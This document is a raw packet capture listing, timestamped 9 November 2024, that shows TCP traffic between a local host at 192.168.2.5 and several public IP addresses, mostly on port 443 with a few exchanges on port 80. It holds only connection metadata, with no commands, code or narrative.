Nov 9, 2024 22:09:41.080228090 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.082125902 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.082144022 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.083136082 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.083141088 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.083178043 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.083185911 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.111334085 CET	443	49827	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.115331888 CET	443	49831	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.115350008 CET	443	49835	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.115358114 CET	443	49828	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.359736919 CET	443	49828	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.359848976 CET	49828	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.368367910 CET	443	49831	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.368462086 CET	49831	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.368639946 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.368659973 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.368669987 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.368690968 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.368697882 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.368700027 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.368746042 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.368765116 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.368813992 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.385344028 CET	443	49827	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.385464907 CET	443	49827	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.385476112 CET	49827	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.385569096 CET	49827	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.395322084 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.482990026 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.483004093 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.483036995 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.483052015 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.483071089 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.483097076 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.483128071 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.483150005 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.505038977 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.511238098 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.514539957 CET	49830	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.514563084 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.520917892 CET	49830	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.520924091 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.522887945 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.522907019 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.524394035 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.524415016 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.524775982 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.524882078 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.525579929 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.525589943 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.547631979 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.548687935 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.548712969 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.548726082 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.548732042 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.550275087 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.550302982 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.551052094 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.551057100 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.584387064 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.584427118 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.584496021 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.584714890 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.584724903 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.586843967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:41.587913990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:41.594875097 CET	443	49835	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.594943047 CET	49835	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.595654964 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.598407984 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.598427057 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.598486900 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.598510981 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.598587990 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.618288994 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.618309021 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.619328022 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.619338989 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.647761106 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.647800922 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.647876978 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.648220062 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.648233891 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.650757074 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.650861025 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.650919914 CET	49830	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.651268959 CET	49830	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.651288033 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.655109882 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.655121088 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.655214071 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.655396938 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.655407906 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.656986952 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.657164097 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.657239914 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.657274961 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.657275915 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.657289028 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.657298088 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.663506031 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.663542032 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.663747072 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.664028883 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.664043903 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.672425985 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.672441959 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.672749996 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.672975063 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.672986984 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.673707962 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.674011946 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.674021006 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.674361944 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.674730062 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.674815893 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.675004005 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.675021887 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.675033092 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.675038099 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.675091028 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.675146103 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.675355911 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.676013947 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.676634073 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.676744938 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.676858902 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.676873922 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.676965952 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.676975012 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.677314997 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.677321911 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.678033113 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.678036928 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.678095102 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.678184986 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.679033041 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.679100990 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.679801941 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.679811001 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.680274010 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.680387020 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.680407047 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.684696913 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.684712887 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.684916973 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.685213089 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.685225964 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.709832907 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.713874102 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.713896990 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.713965893 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.713975906 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.714025974 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.718450069 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.718471050 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.718993902 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.719002008 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.722940922 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.722955942 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.722955942 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.722971916 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.751334906 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.751394987 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.751805067 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.751956940 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.751971006 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.751981974 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.751986980 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.757617950 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.757652998 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.757761002 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.758013010 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.758023977 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.797766924 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.798022985 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.798052073 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.798397064 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.799534082 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.799598932 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.799835920 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.803729057 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.803800106 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.803855896 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.804028034 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.804039001 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.809330940 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.809406996 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.809501886 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.809609890 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.809621096 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.811444044 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.811511993 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.811671972 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.811680079 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.829113007 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.829133987 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.829202890 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.829221010 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.829518080 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.842922926 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.842995882 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.843050957 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.843588114 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.843602896 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.843614101 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.843619108 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.847328901 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.851130009 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.851150990 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.851219893 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.851386070 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.851397038 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.944403887 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.944426060 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.944485903 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.944514990 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.944715977 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.059566975 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.059587002 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.059645891 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.059664965 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.059689045 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.059708118 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.100445986 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.100471020 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.100516081 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.100527048 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.100568056 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.100580931 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.190033913 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.192908049 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.192934036 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.194004059 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.194091082 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.199788094 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.199856043 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.200681925 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.200695038 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.215922117 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.215945959 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.216037035 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.216068983 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.216248989 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.273243904 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.273495913 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.273720980 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.273751974 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.273947954 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:42.273957968 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.274821043 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.274889946 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.275162935 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.275203943 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:42.275554895 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.275616884 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.275707006 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.276115894 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:42.276196003 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.276288986 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:42.287715912 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.303217888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.308760881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.308865070 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.308885098 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.308901072 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.308953047 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.308970928 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.308986902 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.309025049 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.319331884 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.323331118 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.331172943 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.331248045 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.331490040 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.331760883 CET	49842	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.331779003 CET	443	49842	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.331789970 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.331816912 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.331897974 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.331919909 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.332598925 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.332598925 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:42.332613945 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.332624912 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.332634926 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.402471066 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.402615070 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.403908968 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.406343937 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.406363964 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.406438112 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.406455040 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.406466961 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.407891989 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.411871910 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:42.425502062 CET	49843	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:42.425522089 CET	443	49843	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:42.425972939 CET	49846	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.425978899 CET	443	49846	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.426033020 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.426058054 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.426107883 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.426131964 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.426151037 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.426172972 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.431368113 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.431384087 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.431838036 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.431842089 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.441390991 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.442302942 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.442339897 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.442903996 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.442909956 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.498733044 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.499382019 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.499398947 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.499830961 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.499835968 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.521152973 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.521178961 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.521243095 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.521258116 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.521280050 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.521323919 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.542444944 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.542785883 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.542812109 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.542860031 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.542885065 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.542907953 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.542931080 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.543273926 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.543292999 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.543958902 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.543967009 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.559545040 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.559619904 CET	443	49844	13.107.246.45	192.168.2.5
